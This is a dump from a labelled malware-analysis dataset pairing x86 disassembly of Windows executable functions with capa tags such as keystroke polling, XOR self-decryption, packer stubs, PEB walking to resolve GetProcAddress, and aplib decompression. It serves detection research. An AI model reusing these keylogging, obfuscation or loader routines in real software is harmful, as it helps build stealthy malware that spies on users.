joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a8124
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x4ec82c], 0
je 0x4a8265
push 0x11
call sub.USER32.DLL_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x4e7184]
mov edx, dword [edx]
xor al, byte [edx + 0xbc]
je 0x4a8265
mov eax, dword [0x4ec830]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x4ec82c]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x4a8234
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x4ec82c]
call fcn.00414520
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x4a822c
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1ea], 0
je 0x4a822c
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x5c]
test al, al
je 0x4a822c
mov eax, dword [ebp - 0x14]
call fcn.004b3a9c
push eax
call sub.USER32.DLL_IsWindowVisible
test eax, eax
je 0x4a822c
push ebp
call fcn.004a80e0
pop ecx
test al, al
jne 0x4a822c
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbb
call fcn.00459a34
test al, al
je 0x4a822c
mov byte [ebp - 1], 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbc
call fcn.00459a34
cmp byte [ebp - 1], 0
je 0x4a822c
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x28]
call fcn.00455510
test al, al
je 0x4a822c
mov edx, dword [ebp - 0x14]
mov eax, dword [0x4ec830]
call fcn.004a7838
inc edi
dec ebx
jne 0x4a8189
mov eax, dword [0x4ec830]
cmp dword [eax + 8], 0
jle 0x4a824c
mov eax, dword [0x4ec830]
call fcn.004a78f0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4a8265
push ebp
mov eax, dword [ebp - 0x18]
call fcn.004a7f44
pop ecx
test al, al
jne 0x4a8265
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b0614
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffed8
mov ebx, ecx
mov edi, edx
mov esi, eax
call sub.USER32.DLL_GetMessagePos
call fcn.004554f8
mov dword [esp + 8], eax
movsx eax, word [esp + 8]
mov dword [esp + 0xc], eax
movsx eax, word [esp + 0xa]
mov dword [esp + 0x10], eax
mov ecx, esp
lea edx, [esp + 0xc]
mov eax, esi
call fcn.004aa6a4
test ebx, ebx
jne 0x4b0667
push 0
push 0
lea edx, [esp + 8]
xor ecx, ecx
mov eax, esi
call fcn.004b0490
mov ebx, eax
test ebx, ebx
je 0x4b075d
cmp esi, ebx
je 0x4b0690
mov eax, dword [esp]
sub eax, dword [ebx + 0x40]
mov dword [esp + 0x114], eax
mov eax, dword [esp + 4]
sub eax, dword [ebx + 0x44]
mov dword [esp + 0x118], eax
jmp 0x4b06a5
mov eax, dword [esp]
mov dword [esp + 0x114], eax
mov eax, dword [esp + 4]
mov dword [esp + 0x118], eax
movzx eax, word [edi + 8]
mov dword [esp + 0x11c], eax
mov eax, dword [edi + 4]
mov dword [esp + 0x124], eax
movzx eax, word [edi + 0xa]
cmp eax, 0x201
jge 0x4b06dd
add eax, 0xffffff5f
sub eax, 2
jb 0x4b06f5
dec eax
sub eax, 2
jb 0x4b0709
dec eax
sub eax, 2
jb 0x4b06ff
jmp 0x4b0713
add eax, 0xfffffdff
sub eax, 2
jb 0x4b06f5
dec eax
sub eax, 2
jb 0x4b0709
dec eax
sub eax, 2
jb 0x4b06ff
jmp 0x4b0713
mov byte [esp + 0x120], 0
jmp 0x4b071b
mov byte [esp + 0x120], 2
jmp 0x4b071b
mov byte [esp + 0x120], 1
jmp 0x4b071b
mov byte [esp + 0x120], 0
lea eax, [esp + 0x14]
push eax
call sub.USER32.DLL_GetKeyboardState
lea eax, [esp + 0x14]
call fcn.0048d37c
mov esi, eax
call fcn.004a6fec
or si, ax
mov word [esp + 0x121], si
lea eax, [esp + 0x114]
push eax
xor ecx, ecx
mov edx, 0xb04b
mov eax, ebx
call fcn.004ac07c
mov dword [edi + 0xc], eax
mov al, 1
jmp 0x4b075f
xor eax, eax
add esp, 0x128
pop edi
pop esi
pop ebx
ret

Function at 0x4d30a8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
mov ebx, eax
cmp eax, 0xffffffff
jne 0x4d30c4
call fcn.004d4224
pop ebx
pop ebp
ret
test byte [ebp + 0xc], 2
je 0x4d30e3
test bl, 1
je 0x4d30e3
call fcn.004d9cfc
mov dword [eax], 5
or eax, 0xffffffff
pop ebx
pop ebp
ret
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x4d64d0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea eax, [ebp - 0x200]
push eax
push 0x1001
mov edx, dword [ebx + 4]
push edx
call sub.KERNEL32.DLL_GetLocaleInfoA
push str._._n
lea ecx, [ebp - 0x200]
push ecx
call fcn.004d1e24
add esp, 8
lea ecx, [ebp - 0x200]
push ecx
call fcn.004d1ed4
pop ecx
mov edx, pe_nt_image_headers32
sub edx, eax
push edx
lea eax, [ebp - 0x200]
push eax
call fcn.004d1ed4
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
push 0x1002
mov eax, dword [ebx + 4]
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
push 0x4e59d5
lea ecx, [ebp - 0x200]
push ecx
call fcn.004d1e24
add esp, 8
push 0xa
lea ecx, [ebp - 0x200]
push ecx
call fcn.004d1ed4
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
mov eax, dword [ebx]
push eax
call fcn.004d7a0c
add esp, 0xc
cmp dword [ebx + 0x24], 0
jne 0x4d65e1
push esi
call fcn.004d1ed4
pop ecx
mov edi, eax
lea eax, [ebp - 0x200]
push eax
call fcn.004d1ed4
pop ecx
add edi, eax
add edi, 3
push edi
call fcn.004d0f60
pop ecx
mov edi, eax
mov dword [ebx + 0x24], edi
test edi, edi
jne 0x4d65b8
xor eax, eax
jmp 0x4d6668
push esi
call fcn.004d1ed4
pop ecx
push eax
lea edx, [ebp - 0x200]
push edx
call fcn.004d1ed4
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push 0
push edi
call fcn.004d1d53
add esp, 0xc
jmp 0x4d6621
mov edi, dword [ebx + 0x24]
push edi
call fcn.004d1ed4
pop ecx
push eax
push esi
call fcn.004d1ed4
pop ecx
pop edx
add edx, eax
push edx
lea eax, [ebp - 0x200]
push eax
call fcn.004d1ed4
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push edi
call fcn.004d0f80
add esp, 8
mov dword [ebx + 0x24], eax
cmp dword [ebx + 0x24], 0
jne 0x4d6621
xor eax, eax
jmp 0x4d6668
push esi
mov edx, dword [ebx + 0x24]
push edx
call fcn.004d1e24
add esp, 8
push 0x4e59d7
mov ecx, dword [ebx + 0x24]
push ecx
call fcn.004d1e24
add esp, 8
lea ecx, [ebp - 0x200]
push ecx
mov eax, dword [ebx + 0x24]
push eax
call fcn.004d1e24
add esp, 8
push 0x4e59d9
mov edx, dword [ebx + 0x24]
push edx
call fcn.004d1e24
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4d9c90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
jne 0x4d9cbd
jmp 0x4d9cf4
call fcn.004d9c40
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.004d1ed4
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.004d1ed4
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x4d9d78
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x4e6010], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x4d9e52
cmp dword [0x4e600c], 0
jne 0x4d9e52
cmp dword [0x4e6234], 0
je 0x4d9e0c
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.004d9748
add esp, 8
mov ebx, eax
test eax, eax
jne 0x4d9df2
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.004d9748
add esp, 8
mov ebx, eax
test eax, eax
jne 0x4d9df2
lea ebx, [ebp - 0x84]
jmp 0x4d9df3
inc ebx
call fcn.004d9d30
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x4d9e8d
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x4e6014
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.004d1ed4
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x4e6017
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x4d9e8d
cmp dword [0x4e600c], 0
je 0x4d9e6c
cmp dword [0x4e600c], 0xffffffff
je 0x4d9e8d
push esi
call dword [0x4e600c]
pop ecx
mov eax, dword [0x4e6010]
test eax, eax
je 0x4d9e8d
cmp dword [0x4e6010], 0xffffffff
je 0x4d9e8d
cmp byte [eax], 0
je 0x4d9e8d
push esi
push eax
call fcn.004d9c90
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4da7a4
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x4ed5a0], 0
jne 0x4da830
cmp dword [0x4ed5d4], 0
jne 0x4da7d4
call sub.KERNEL32.DLL_GetEnvironmentStringsW
mov dword [0x4ed5d4], eax
test eax, eax
jne 0x4da7d4
push str.GetEnvironmentStrings_failed
call fcn.004d9ea4
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x4ed5d4]
jmp 0x4da7ed
lea eax, [edi + 1]
add edi, edi
add edi, 2
add ebp, eax
inc esi
add ebx, edi
push ebx
call fcn.004d2194
pop ecx
mov edi, eax
test eax, eax
jne 0x4da7e0
lea edi, [ebp + 1]
mov eax, edi
add eax, eax
push eax
call fcn.004d0f60
pop ecx
mov ebx, eax
mov dword [0x4ed5a4], ebx
test ebx, ebx
jne 0x4da81b
xor eax, eax
jmp 0x4da8f7
add edi, edi
mov edx, dword [0x4ed5d4]
push edi
push edx
push ebx
call fcn.004d1b6c
add esp, 0xc
jmp 0x4da850
xor esi, esi
mov ebx, dword [0x4ed5a0]
jmp 0x4da84a
push eax
call fcn.004d2194
pop ecx
test eax, eax
jne 0x4da846
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x4da83a
lea ebx, [esi + 4]
push 4
mov dword [0x4ed5a8], ebx
inc ebx
push ebx
call fcn.004d0ec4
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x4da873
xor eax, eax
jmp 0x4da8f7
cmp dword [0x4ed5a0], 0
jne 0x4da8a8
xor esi, esi
mov ebx, dword [0x4ed5a4]
mov eax, dword [esp]
mov ebp, eax
jmp 0x4da899
mov dword [ebp], ebx
add edi, edi
add ebp, 4
add edi, 2
inc esi
add ebx, edi
push ebx
call fcn.004d2194
pop ecx
mov edi, eax
test eax, eax
jne 0x4da88b
jmp 0x4da8d9
xor esi, esi
mov ebx, dword [0x4ed5a0]
mov eax, dword [esp]
mov edi, eax
jmp 0x4da8d3
push eax
call fcn.004d2194
pop ecx
test eax, eax
je 0x4da8c8
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x4da8cc
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x4da8b7
mov eax, dword [0x4ed5a0]
test eax, eax
je 0x4da8e9
push eax
call fcn.004d0f70
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x4ed5a0], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x7a4c34
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7a4c3e
pushal
call 0x7a4c44
pop ebp
sub ebp, 0x10
sub ebp, 0x3a4c34
mov al, byte [esp + 0x28]
cmp al, 1
je 0x7a4c68
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x7a4c71
mov eax, 0x3a4c34
add eax, ebp
add eax, 0x63
mov ecx, 0x5f1
mov edx, 0x207ce0c2
xor byte [eax], dl
inc eax
dec ecx
jne 0x7a4c88
jmp 0x7a4c9b
dec ecx
cmovns ecx, dword [ebx - 2]
ret 0xc2c2
Function at 0x405da6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 1
pop eax
test eax, eax
je 0x405e53
lea eax, [ebp - 0x230]
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x6fc], 0
jne 0x405928
and byte [ebp - 0x77c], 0
and byte [ebp - 0x77b], 0
mov byte [ebp - 0x77a], 4
and byte [ebp - 0x779], 0
mov byte [ebp - 0x778], 0xb8
mov byte [ebp - 0x777], 0xc1
mov byte [ebp - 0x776], 0xa7
mov byte [ebp - 0x775], 0xab
mov byte [ebp - 0x774], 0x89
mov byte [ebp - 0x773], 0x94
mov byte [ebp - 0x772], 0x9c
mov byte [ebp - 0x771], 0x89
mov byte [ebp - 0x770], 0x9a
mov byte [ebp - 0x76f], 0x96
mov byte [ebp - 0x76e], 0xdb
mov byte [ebp - 0x76d], 0xbd
mov byte [ebp - 0x76c], 0x92
mov byte [ebp - 0x76b], 0x97
mov byte [ebp - 0x76a], 0x9e
mov byte [ebp - 0x769], 0x88
mov byte [ebp - 0x768], 0xa7
mov byte [ebp - 0x767], 0xb8
mov byte [ebp - 0x766], 0x94
mov byte [ebp - 0x765], 0x96
mov byte [ebp - 0x764], 0x96
mov byte [ebp - 0x763], 0x94
mov byte [ebp - 0x762], 0x95
mov byte [ebp - 0x761], 0xdb
mov byte [ebp - 0x760], 0xbd
mov byte [ebp - 0x75f], 0x92
mov byte [ebp - 0x75e], 0x97
mov byte [ebp - 0x75d], 0x9e
mov byte [ebp - 0x75c], 0x88
mov byte [ebp - 0x75b], 0xa7
mov byte [ebp - 0x75a], 0xa8
mov byte [ebp - 0x759], 0x82
mov byte [ebp - 0x758], 0x88
mov byte [ebp - 0x757], 0x8f
mov byte [ebp - 0x756], 0x9e
mov byte [ebp - 0x755], 0x96
mov byte [ebp - 0x754], 0xa7
mov byte [ebp - 0x753], 0x88
mov byte [ebp - 0x752], 0x82
mov byte [ebp - 0x751], 0x96
mov byte [ebp - 0x750], 0x88
mov byte [ebp - 0x74f], 0x89
mov byte [ebp - 0x74e], 0x8d
mov byte [ebp - 0x74d], 0xd5
mov byte [ebp - 0x74c], 0x9f
mov byte [ebp - 0x74b], 0x97
mov byte [ebp - 0x74a], 0x97
mov byte [ebp - 0x749], 0xfb
lea eax, [ebp - 0x77c]
push eax
call fcn.00403dbd
pop ecx
mov al, byte [ebp - 0x12c]
mov byte [ebp - 0x778], al
push 0x30
lea eax, [ebp - 0x77c]
push eax
call fcn.00403dbd
pop ecx
push eax
lea eax, [ebp - 0x504]
push eax
call fcn.00403d1e
add esp, 0xc
lea eax, [ebp - 0x504]
mov dword [ebp - 0x3a0], eax
jmp 0x405d25
cmp dword [ebp - 0x6fc], 1
jne 0x4059d9
and byte [ebp - 0x78c], 0
and byte [ebp - 0x78b], 0
mov byte [ebp - 0x78a], 0xa0
and byte [ebp - 0x789], 0
mov byte [ebp - 0x788], 3
mov byte [ebp - 0x787], 0x3b
mov byte [ebp - 0x786], 0x33
mov byte [ebp - 0x785], 0x3c
mov byte [ebp - 0x784], 0x30
mov byte [ebp - 0x783], 0x3a
mov byte [ebp - 0x782], 0x2d
mov byte [ebp - 0x781], 0x71
mov byte [ebp - 0x780], 0x3b
invalid
push 2
push 0x40000000
push dword [ebp - 0x3a0]
call dword [ebp - 0x3c8]
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0xffffffff
je 0x405df7
push 0
lea eax, [ebp - 0x6c4]
push eax
push dword [ebp - 0x38c]
push dword [ebp - 0x748]
clc
invalid
invalid
push dword [ebp - 0x380]
call dword [ebp - 0x730]
push dword [ebp - 0x380]
call dword [ebp - 0x680]
jmp 0x405dfc
jmp 0x40574f
and dword [ebp - 0x37c], 0
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
je 0x405e43
lea eax, [ebp - 0x714]
push eax
call fcn.00403dbd
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
invalid
invalid
Function at 0x405f50
Capabilities:
Access peb ldr_data
Read file on windows

Disassembly:
lds esp, [esp + edx*2]
call fcn.00403dad
add bl, bl
aaa
cwde
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
cmp byte [eax + 0x1c], 0x18
je 0x405f71
xchg esi, eax
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
push eax
call fcn.00403dad
push ecx
scasb al, byte es:[edi]
push 0x44
mov edi, eax
clc

Function at 0x405f7f
Capabilities:
Read file on windows

Disassembly:
clc
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
add edx, edi
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
call fcn.00403dad
mov al, 0xcf
pushfd
mov dword [ecx - 0x75], ecx
xor al, 0x8b
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x405f9a
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x405f9a
call fcn.00403dad
or dword [edx + 0x5a8bd24e], ebp
and al, 3
fbld tbyte [esi - 0x75]
or al, 0x4b
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
invalid
fcomp st(5)
Function at 0x10b42058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x10b421a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x10b4207e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10b4206a
add dl, dl
jne 0x10b42089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10b420dc
xor eax, eax
add dl, dl
jne 0x10b42096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10b4217d
add dl, dl
jne 0x10b420a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10b420b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10b420bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10b420c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x10b420d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10b42075
mov eax, 1
add dl, dl
jne 0x10b420ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10b420f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10b420e1
sub eax, ebx
mov ebx, 1
jne 0x10b42128
mov ecx, 1
add dl, dl
jne 0x10b4210e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10b42119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10b42105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10b42075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x10b4213f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10b4214a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10b42136
cmp eax, 0x7d00
jae 0x10b4216d
cmp eax, 0x500
jb 0x10b42168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10b42075
cmp eax, 0x7f
ja 0x10b42170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10b42075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x10b4219e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10b42075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x414755
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x414764
pop dword [ebp - 0x4c]
mov eax, 0x27b81abf
add eax, 0xd8892ca5
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x4af98
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x3358
mov edi, eax
mov esi, 0x1001d991
sub esi, 0xfb94b91
add esi, dword [ebp - 0x4c]
mov ebx, 0x1242b3de
xor dword [ebp - 0x34], eax
mov edx, dword [esi]
xor dword [ebp - 8], ecx
xor edx, ebx
sub dword [ebp - 0x48], ecx
mov dword [edi], edx
add dword [ebp - 4], ebx
add edi, 4
add esi, 0x338d149e
sub esi, 0x338d149a
loop 0x4147b2
add eax, 0xa24f3f2d
sub eax, 0xa24e7efa
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x46fed0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push es
mov ax, 0x101f
mov es, eax
xor eax, eax
mov esi, eax
mov ecx, 0x8000
xor al, byte es:[esi]
inc esi
loop 0x46fee5
pop es
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
jne 0x46fef9
mov byte [ebp - 1], 0x55
mov al, byte [ebp - 1]
mov edx, dword [ebp + 8]
mov byte [edx], al
xor eax, eax
pop esi
pop ecx
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x73391148
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x48a575c9
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x81afd3
Capabilities:
Packed with generic packer

Disassembly:
push edx
mov edx, 0x64
jmp 0x81aff6
mov ecx, 0x1000
jmp 0x81afe7
add eax, ecx
add eax, ebx
dec ecx
or ecx, ecx
jne 0x81afe2
push edx
push esp
push esp
call dword [sym.imp.kernel32.dll_lstrcpy]
pop edx
dec edx
or edx, edx
jne 0x81afdb
pop edx
jmp section..data_2
Function at 0x203b8094
Capabilities:
Encode data using xor

Disassembly:
jmp 0x203b809e
pushal
call 0x203b80a4
pop ebp
sub ebp, 0x10
sub ebp, 0x3b8094
jmp 0x203b80ba
mov eax, 0x3b8094
add eax, ebp
add eax, 0x4c
mov ecx, 0x607
mov edx, 0x11a8cbc4
xor byte [eax], dl
inc eax
dec ecx
jne 0x203b80d1
jmp 0x203b80e4
dec edi
or dword [edi + 0x4d], ecx
clc
invalid
Function at 0x104b6058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x104b61a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x104b607e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104b606a
add dl, dl
jne 0x104b6089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104b60dc
xor eax, eax
add dl, dl
jne 0x104b6096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104b617d
add dl, dl
jne 0x104b60a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104b60b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104b60bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104b60c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x104b60d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x104b6075
mov eax, 1
add dl, dl
jne 0x104b60ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104b60f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104b60e1
sub eax, ebx
mov ebx, 1
jne 0x104b6128
mov ecx, 1
add dl, dl
jne 0x104b610e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x104b6119
mov dl, byte [esi]
inc esi
adc dl, dl
